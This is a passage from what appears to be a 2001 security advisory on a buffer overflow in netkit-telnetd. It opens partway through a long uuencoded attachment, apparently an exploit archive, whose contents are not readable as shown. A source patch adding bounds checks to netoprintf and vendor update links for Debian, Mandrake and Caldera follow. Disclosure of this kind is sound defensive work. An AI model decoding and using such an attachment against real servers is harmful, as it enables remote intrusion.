M\":W9.U-DI?DMLS+19SK]!IB.WQS[FF6OF71]\\7M1-,Z80*H@P4BE%,R5G\"6; M[,?C_DOC8)[,PNMKDA\"0^6?!V;S2U3%BX_ZGB^[Y/C$2493L%ZWU=1H,B;@N M=BELF^!3*I(8-^FR3N4<=\'2I[QR[-9!P*G&J3^>(S_1,+DQ?L`RE4\\$P][V1 M(,*7:>/F-X9MYSS7MR5[*,DH:8>69`#S/3/RS#4:N?99Y]E+B41C]WD;%>\'8 M33FNI>^$N.87*A=>K?6X7W[%!PN)S(?YKX>#S4`*Q\'B4$3::J]\'[LJ6&1>\'G MR\\OB,K?V@Y7\'<_H]%^*Z2BY3)HED9E$<0W$YI)6@TP\'G#LNF<SAK!CCJK^?0 M2+J[34=?\\H*@6*N^A+2>P;YLKY09,OQKZFO&G!&HEK6RVS.^D!GX)2Y3=FLQ M8S]2&3\'\'R\\\"[E&8N&%@FQ-J?V8&`_91<5@:EV;\\KK6*H`K8):N>V/=&K_X\"J M(V;>6@QHC&W&E.[=MVHMCYDGSG5%+?=HMEZ_?LU8MFJ@BV3C.0`.JMW-`(A1 MM73-RG_I[ZD]3WY^KF3V/[5GQ_]#BE2M>K,FR;O$XZ.\'9115&8)>!CU601-G MW[]!=Z8A,\\U\\7BSY8%!/KP-=M1W$Y-G.\\>>5CHEIG]N)>G\\;S,=36Q?<N:W+ MGU?JPM)I+`<`3G@X#J]O$BN/6!<7Y<R+&7N91ZQ71RR4;<E#!1%0-8DF$_W! MD@0CJE]7#.$AT1C,FZ>Z+D-A8F3/V8[K%B,`Q*P@M23/D`@>!@[[]B%O80]> M>N/Y*$$*(2!&75S68&\\P_&&1#VN)&UHY/ZDI^E1.D2X3V>VI#%K$O&.Y1836 M3F!YE9;3=TT:V`M=:QXX>E_3J$.NI<E6V;;P)ZI03O\'283\\^O7_?.?]5G$). M/W6)2_FI<RGJVQ^[FDZTX_:2#>62$<*UC?\\UP9^G,:9S&6V<8BX0:&S=Y3`@ MEE;$ECY^P\"?)UER9>A?(1YH*SA+(,T[+2&5FH74ORIIWIVQK)ZPW4\':BY?J1 MK88+!9O+IF!(D%J4,Y*:X</F5Z(2N9DRA3-?\'K>P^6ISA6BU0K2Y0CJ?6060 M?J<P>UK+>_QAM7\'$YU(JE`N?%O:_^\'$LC)JMS.\'6XD-*/!*CM8A$1\'#K!ZV# MAD&U3+N<&N[F_2_IF4CO.*J!O8\'AR1KC-W&.7J2N<VF7]O;27MV&P=V50=&, MAPQ7F1KCFF\'4DUD_G@Z*6A`]3%$]7,;RU/HPCXE`&]O#-#<3QH<VY\\YNO=VW MN+4O;<5/@-^&Q?3[:)K$KQA]W0+E&UDD.NQ9#!W3.E.5)3#E6Y2Z#?M).-8G M\'Y??RD+S8)=?,>)\">&#[(&//)!IS\"@Y!JN4*U[D*SF98+ACF\"MK=MJ\'P#(4E MPC\"<$@.3),%XFC@1,;$NT`\'RWPN@#=\"/2N7]J,6-.LE<J(O+<UT>H!%SZ(A3 MMW\'A-%ZV;$IF/UM&3L.O$9(2\"V?R&<,A6E<]8;4&T4H3TVP<LBD*T62$0.N[ MY:)_G71N_7#$G)P0Y-C2Z3R.P_P\"-QK/Q4N:1E-\"7(.BV#H\'`9%7HI+HZ%_Y MSJS(RO?``9M\":,();LPNH49R^Z3$31FV>5.A(OJ?>PGN\\`<M;E>Y%SFVP[!? MN0+\"$J%_5G4(O@_\\M7$%`S<,IX1@\'(Q[$B1E8CFLYUAJF4SGSU`19T*)@;@@ MDOX%_O\"Z5?\'V2RN)@+Q[K^4UAL->:\\.[YD&]YFUZ=_SFL)591L9^..%%I-;3 M\"*P_T2^WQ=2-S;J([66\\L_Y!HG594STU-KTIE#4FD#LW1&.(0!.P\\H,@\"FE# M.U0IYX4B%@1\"W2FO%)TWTX2KEE\"ZM\'_;ODG:0?NZ\';9G[4%[VMZ7-!?EZCJ+ M>GP7)OT;`-MF;^_[Q$8\\NWW6?M!F;M$RG)8()O6H9%)M;7^<)+?25D)M(?MM M.IU^$H4%`2E)9S+[D\"2PE7J!J0>32-SW)T-3I[3_=+I?^B-.6\\<2E5HRK%L0 MD!A$<#_?1@8_W`[?\\@O;VG\")[<9VKK>W`R9F6QN6\\N^OS%76Q,PT(6Z152EH MUT^\\@=PES,``2@9F8,`LATOLN&!34]WZ5FZOMA&1!L\'0)Q%B,X)*:S<[H/#R MUEM^[SIY*)LKA04)^,#9-\"X6<;%&^-WOQ04K5[^R%*\\L^8I7-KMM(\"=UVB_3 M0^KGSOF\'DP_OVOK$^.GCA.7((UB,YGH0#N#3&D_I4!TN@-N55.^Y:?`.,VD\\ M_%P_KXQQ7/$\"%\'<\\XXJ0]_.45^(C6K@X>7?RX;*4\\S3-O[[LGK]??9^)HS9W M13@)DQ`I7>`I`(&6OL\\\"<.\"%EBMQY\\>B^R!69$#LX00J&@3E+$10@+`TX$,I M&H]]:%X1Y@O6CO4`\"N$-)HV^K^-1$$P1],:^\"C:#.F+FJ)C:2Z7OB\\O.NRZ\" MXBJ.5D>477%.3_W&O`67@^YF<YZI9@SZY&4NZT4G/9?DRKG*UJG.Z4^539%F M=B\"M`<D*$O,QB((86,.20)I_^2Z09&TLN$Z\"N[+142Q9FHS\")`_9\\JR.N^\"2 M1I=JS^:#0*A57AWA:\"$RT^J$8SN,>D:T-]D\\%#YQQ\"(P!)TT\"E\\P\'T:+`._O MM`@$+%.$_1L1OGD]Z/&PG,G;<V:O!I]*LZ&<^)F\"I*))YOXH-0\"NFYZ:.$_J M-<7CRJI=8O/(:TLCW[KD]9RJG`I$\\9J^U2L2EL@E;2=9;HKE6A#3AK42[+)` M!-/IY\";$A+:2=M(@F@0V&VZJ$)DMN\"M1*GHZ\';%B,\"^143!)[.\\@76VFC>`T M@<DX[8PD**()-OB\\WZ<>#ND`(7X[$9-CP\"<.;CP)B1BP+,U\'%#4\"<0<V>1`5 MQ#%S`#-RZ11-\'<G<K]TT-?#TA(A(?.O$6`/^YRMC]_\\1CQ/__YYHY9!XR7]X M&P_E_Z@>FOM_:H<\'A_7JX_T_O^/SYNUIY]T%,24_XX`LG]74V8]_OF!O+IL, M(M(F$C92*ONZK;\\KH&A1*:K9=BHH!0_!\";%QL[$N#TD^HIKVLUOLGSWVQR>W M_\\^[G>/WW?^#-AZZ_XMVO;W_Z[#IU:A\\[:#^F/_C=WF(8QSZ_:\"MRN91EV!Q M>W..@*6%>YJ>CM!]F9O`>O/12-(K^,C8@[RX./,X10\'S3,K:EV(60JPUAY7> M]6(%$LIT%O4(Y@+MH\'+$F7($1&\'.-WITSNB4)_)\"O+_$J+!K\\9UDIZ\":XJ4\' MSZREM!2N>Q8[9HGKA9\\HPPMD^2FX[>%\\QJUS4^!-J8N=41PQ]V,LOLC4D03] MFTGX]SEX1)7C&@J2Y\"(._#$;&ECLDI03L-=AR&_UR:4^/NM>?\'AV*8DXP\"): M,$5Z^^Q\"_]A]TR$N6)_H-V?\'W6-4.3WYMZY^<][Y^`<W(XI=\'30DGA3JHYU1 MN,@@Q0\"/D+T8X+:8@!O&U];@\'!JG*`)Q+\\!DRA2G6*\"A7YJALU:4UHM>TU^2 M*OK!E%T>\"[9UHWXM5I0Z,:&3PR`8B2L*1NB\'S.6,Y_T;SF$1]\'TLEG3%ISD* MOL0R:7/).<5`U)T_F?C&WXMX3+FR#$&GD+/H--+61YPOFYO1LH>$S+JP(%0[ ML7FKYLQ*TBDETAUV,GR\'Q)9RK^<SE:0LI5D-8^]8%^4$09H\'*(9TQI$\"2T=W M-\\%$X3H6E&+)P;?).Z@=S`U2UYQ]./TUYQ9@4M,8L:/\"^6W8<1UWVT0P@D$Q M/3,KB.84L:\"(?A=%N,_H>D(<[6W`NPT.<?Z,9+4!!^GF/`A8LI/^<RX67\\\'O ML\\C;\"U,[G5+5&!]%%QN+^8V%$]C()8&\"V=RI<ZS=RRJ2:86[?Y$38LPGD\\C& M>$FSLJ28UPH\'O)PB&TJ>!2],PZ#/-L,^\\:3%C#AM>=0377%26.GRK:[6#BL> M_:GJ<J(]E5-@J#4\"MMK%.JM6[;\'K-2<YK;1:-L!NTK?4J^HAZZLM6JL=5FMJ MNYDU`\\R9&%9AKQI5I72]U5#K;:>K??;NC7I=K1I/UX\\2-5CIKE:MIUMJM.K] M7(VE\"5E38]`_;\"FQ[CW\\.,95M5F3HM2#:@WUS1H)I?Y2_?R<D\">):\"<.5KKX M`(H_T=-8^_-[_1MR_TRIAQ7+;3/5XZ=9;=1H>BH>_JMK7:W7#[0^H/]>VV8N M>`)K[7H=/]N<XV,]I&8*J09(M9;6C>:!3I)%+0^I82$M=^P)ZU=>S./9BQCI M#;)7W%/U[L,G+M&L8`M/%S-V@T\'HHWX[\"P)]$0T3WF9OH_G$^D6?3/H5]>[X M1V8N4\"HVI4J:+S*0M%]8<(!_%TR\"&1&ACY()\\93.$-JFXEV-:%VJIXC0<>:7 MS$K%)]\'@!;)_A<@IU)LGR`@V#87-\":$[0$1O/YAQ.@9<\'1BB>W%%72ZF\\!\\# M>:8:.\'SVV1<J\"$Q>,:>H/>+\\7AR-J`TZBXD%H\\\',B/(OF\'^AD5:T=H#:M_NY M[&3\"VV%:H/RD1H;A]1QS0;_MA_7603FV1*O,^=_V\"74+U-@@0\'8I)I6+<2\\: M@6.CP8\'$JQ=$_*]G_G@<OC!$/\'YA10HL8%M_B*!1N=%0+FB>KAG186)B*JK# M?E?F[#6`VFN1H:0_A@8CSND8S_4%M.S%*.SAWSP)1Q7BW+#K6\'M$!XP/YB_K M^6RU\\\':8?90YV`6@E-P&;2`SBW*UAR&ZI;?W<1+\'5YC@>$?(RS64=]_PO*`V MK#;`\'%U=8317G*2J4%PW\':I`N[)H\'.7^:$BQ^@ZWIQ:^SU+LL94?\"<2Q\\\'[B M%TO:(A3G+GD%QU.FU5ZUT=#[^P;N_8M&[SY[H;(BWYNV7K6%S`\\]^=D?RD^O M:7ZV#\"C8;)-@PN<>YQN)Q1`1J^Y]T&>T%\"O0?ZU#O&<E05RD*=/!:%BOE;%5 M*LJVXC5:WK!1?F4^5[U#6`KH-WZ&C;:N<`C\"5\'=.3\\_>Z-.SSC&<0X^9$SSN M7\';T3YV+*WBN=S]<7KAPJUXK@TNT-8-+;P@N5/25SH\\G93IHO@%Z+8->/^J[ MT&N`?N/\'-U\\/E2\"E4(^J+E1Z0U`\'BPEAX]?#)5@IW\'ZSZL\"E-P9N,OMZN/UF M+84[\\&H.7\'I#<*\\G\\PJ=&%!X?SWP@9<AQJ#9<(#3FSSPJV_H.X%TP+MS36\\( M_\"P8L0?\'-P#.)GO0R@/N&\\#PU_UZP*T,\\##(`6Y9P-/1-_28@%G`1U[510]Z MPULP7`\\5<O8FJ`0IG>\"C1N\"L7Y7>$-1-7=T*E`!9H(,C=]]5Z0T!97+YM5`! M*8/:<VA%\\XCWW9!FX!N@]CT+-?\"]\'-2^A_6*^*[1KUVNH5]+X0Z\'#6=B#^@- M=O,2U*W`\"(`#S.GD`;TA8,$-;KDAYFUW@*T,8-/+`01E!/<2[PZMZ8RUF>M> MD\\?ZE=!LWYI$^O+0T+>E_;X%%M=/854;SC@/Z8W05\'],\'/&N\\`C&!GCT&\\&+ M03-VJ-QO\'#16*J?TQE8R#U=B3?)@M1*,]P$G[S18N:[U94!5SP74X)V.HW8# M%,,(O;AW1O)<`AS4=WRK9\"KN2M&_LR+(L+OL=C\"?0#U&//R_ST7!A8#0@K@F M<&1\"F!1?Z\\(\"7-2DJ!?J.+\",,[-FN[+.3_3P6CT@1%(A&ZU0/E\\OF!GQ4F(3 ME)T_04^_I<^OB$&Z^O.G]Q^O+D[/+C6G(UU7MK>NK\"GYD#Y\'EP/-N#(D!K`< M9I.LR]?:@O^74_I4CYI>8W>E3_/`\\W97^M0:K7\\%I0\\PXO^7TF<W3Q\"U-G); M99D%\"#FJGI-<`&O)W^$7!/+GRWI\'JV6]HPUE6VO*MM*R:X.HER`<K(%PL*&U MYIJRS0UE&VO*-C:4K:\\I6U\\912Y6>@E\";0V$VH;6JFO*5C>47;-NGK>A9V[8 M<@Y,XVAUF>B[M4TVC@[7E#W<4\'9U0>B[K.PV/R2+W@\\Z$ZEM?D)*K?7[40_& MN%B3\'QTH<I;0T2$O#$\"O(G\\`3$X+MNO0]ZH;]_TINT?!M$2[F,[J9__Y^5E% MA8.7:AX.?O`*:+:HK]W/LV@^C>VOJFT]\"-DXPXHSA1B!ERKSB=2<C9.5DC24 M``9/&%DJZ@E,).>YZQE8Q;G>)D*+!LMGS-GI;^30T^HRG+8=3\\BYEISC=@D0 M@V%N50PG\">H7;&<Y-\"/+;%\\$J-JZ1/DK`1Z%*0(VV`A6GK\'9^`L\\)(D\"!@M. M@D^M,HN1W$3:.$_%\\WM=5\"?LE6DBC4R01Q8<B]0`A8F?S&<<?!3J&W,5`X?, MWH:^GDZGNE#%AN*\\^N8\"!C>I?B$<2Z\"AL6(SDL^ME<K&(RCH8V_F\"6YQF,_, M#+\"-CV80MLORK$AX,$WDTL#RB3[[=/GQTZ4N3WE*RV6YR+Q6IX_T15DN0T,* M;_PK_TT?GY]]U.J.8S0);W$QC+V$`9.%7JW.U]A?]`*VG!\'V]$?S>!D9U`FN M!$BB\".;?`7))^HO7ZN>`_8\'1`)M7S<UT:1\"4S[$*L\'-*.+-)0D]3;!U`L=Y\\ MW8`*QS9=>T5W)[>II9#P!)<AC`*3\"MSOX_X-6!U[LWD2$&(C`\\O->#Q&@9:2 MM.\"IS5VN0$`7,!G8W,4L<?D38_X%:\\R!(SJU=M-2JC6K_/*8;TI(+=_@J,\'S M�U*!]G?@@%VC!)6QEG3K/>+X^+DI?ODCKVC`VC8<Z0*>G_LXF$#S\"V&O9- M:K`]>:_?=H_UIX]_4`5V1\"9>@/7N/\";V1#8$WL%[OB:\"^L7I,67\"%\\:>S,D0 MBJJO%[Y2FX+7T)7L.@?<CRWW.6!`_VRWD\\?G\\7E\\\'I_\'Y_%Y?!Z?Q^?Q>7P> /G\\?G=W[^%_\\E9$X`H``` ` end 11535 bytes SOLUTION Quick patch: --- netkit-telnet-0.17/telnetd/utility.c.ayt Wed Aug 8 16:33:01 2001 +++ netkit-telnet-0.17/telnetd/utility.c Wed Aug 8 17:20:39 2001 @@ -56,18 +56,25 @@ void netoprintf(const char *fmt, ...) { - int len, maxsize; + int len = 0, maxsize; va_list ap; int done=0; while (!done) { maxsize = sizeof(netobuf) - (nfrontp - netobuf); + if (maxsize < 0) { + /* no way this is gonna fit - try to flush some */ + netflush(); + maxsize = sizeof(netobuf) - (nfrontp - netobuf); + if (maxsize < 0) + break; + } va_start(ap, fmt); len = vsnprintf(nfrontp, maxsize, fmt, ap); va_end(ap); - if (len<0 || len==maxsize) { + if (len<=0 || len==maxsize) { /* didn\'t fit */ netflush(); } --- netkit-telnet-0.17/telnetd/telnetd.c.ayt Wed Aug 8 16:33:01 2001 +++ netkit-telnet-0.17/telnetd/telnetd.c Wed Aug 8 17:21:44 2001 @@ -1277,7 +1277,7 @@ return; } #endif - netoprintf(\"rn[%s : yes]rn\", host_name); + netoprintf(\"rn[Yes]rn\"); } void doeof(void) { For Debian: http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16-4potato.2.diff.gz http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16.orig.tar.gz http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16-4potato.2.dsc http://security.debian.org/dists/stable/updates/main/binary-alpha/telnet_0.16-4potato.2_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/telnetd_0.16-4potato.2_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-arm/telnet_0.16-4potato.2_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/telnetd_0.16-4potato.2_arm.deb http://security.debian.org/dists/stable/updates/main/binary-i386/telnet_0.16-4potato.2_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/telnetd_0.16-4potato.2_i386.deb http://security.debian.org/dists/stable/updates/main/binary-m68k/telnet_0.16-4potato.2_m68k.deb http://security.debian.org/dists/stable/updates/main/binary-m68k/telnetd_0.16-4potato.2_m68k.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnet_0.16-4potato.2_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnetd_0.16-4potato.2_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet_0.16-4potato.2_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd_0.16-4potato.2_sparc.deb http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3-1.1.diff.gz http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3-1.1.dsc http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3.orig.tar.gz http://security.debian.org/dists/stable/updates/main/binary-alpha/ssltelnet_0.16.3-1.1_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/telnet-ssl_0.16.3-1.1_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-alpha/telnetd-ssl_0.16.3-1.1_alpha.deb http://security.debian.org/dists/stable/updates/main/binary-arm/ssltelnet_0.16.3-1.1_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/telnet-ssl_0.16.3-1.1_arm.deb http://security.debian.org/dists/stable/updates/main/binary-arm/telnetd-ssl_0.16.3-1.1_arm.deb http://security.debian.org/dists/stable/updates/main/binary-i386/ssltelnet_0.16.3-1.1_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/telnet-ssl_0.16.3-1.1_i386.deb http://security.debian.org/dists/stable/updates/main/binary-i386/telnetd-ssl_0.16.3-1.1_i386.deb http://security.debian.org/dists/stable/updates/main/binary-m68k/ssltelnet_0.16.3-1.1_m68k.deb http://security.debian.org/dists/stable/updates/main/binary-m68k/telnet-ssl_0.16.3-1.1_m68k.deb http://security.debian.org/dists/stable/updates/main/binary-m68k/telnetd-ssl_0.16.3-1.1_m68k.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/ssltelnet_0.16.3-1.1_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnet-ssl_0.16.3-1.1_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnetd-ssl_0.16.3-1.1_powerpc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/ssltelnet_0.16.3-1.1_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet-ssl_0.16.3-1.1_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd-ssl_0.16.3-1.1_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/ssltelnet_0.16.3-1.2_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet-ssl_0.16.3-1.2_sparc.deb http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd-ssl_0.16.3-1.2_sparc.deb For Mandrake Linux: Linux-Mandrake 7.1: 7.1/RPMS/telnet-0.16-4.1mdk.i586.rpm 7.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm 7.1/SRPMS/telnet-0.16-4.1mdk.src.rpm Linux-Mandrake 7.2: 7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm 7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm 7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm Mandrake Linux 8.0: 8.0/RPMS/telnet-0.17-7.1mdk.i586.rpm 8.0/RPMS/telnet-server-0.17-7.1mdk.i586.rpm 8.0/SRPMS/telnet-0.17-7.1mdk.src.rpm Corporate Server 1.0.1: 1.0.1/RPMS/telnet-0.16-4.1mdk.i586.rpm 1.0.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm 1.0.1/SRPMS/telnet-0.16-4.1mdk.src.rpm Single Network Firewall 7.2:snf7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm snf7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm snf7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm For Caldera Linux: ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/RPMS/netkit-telnet-0.17-12a.i386.rpm ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/SRPMS/netkit-telnet-0.17-12a.src.rpm ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/RPMS/netkit-telnet-0.17-12a.i386.rpm ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/SRPMS/netkit-telnet-0.17-12a.src.rpm ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/RPMS/netkit-telnet-0.17-12a.i386.rpm ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/SRPMS/netkit-telnet-0.17-12a.src.rpm ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/RPMS/netkit-telnet-0.17-12.i386.rpm ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/SRPMS/netkit-telnet-0.17-12.src.rpm ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/RPMS/netkit-telnet-0.17-12.i386.rpm ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/SRPMS/netkit-telnet-0.17-12.src.rpm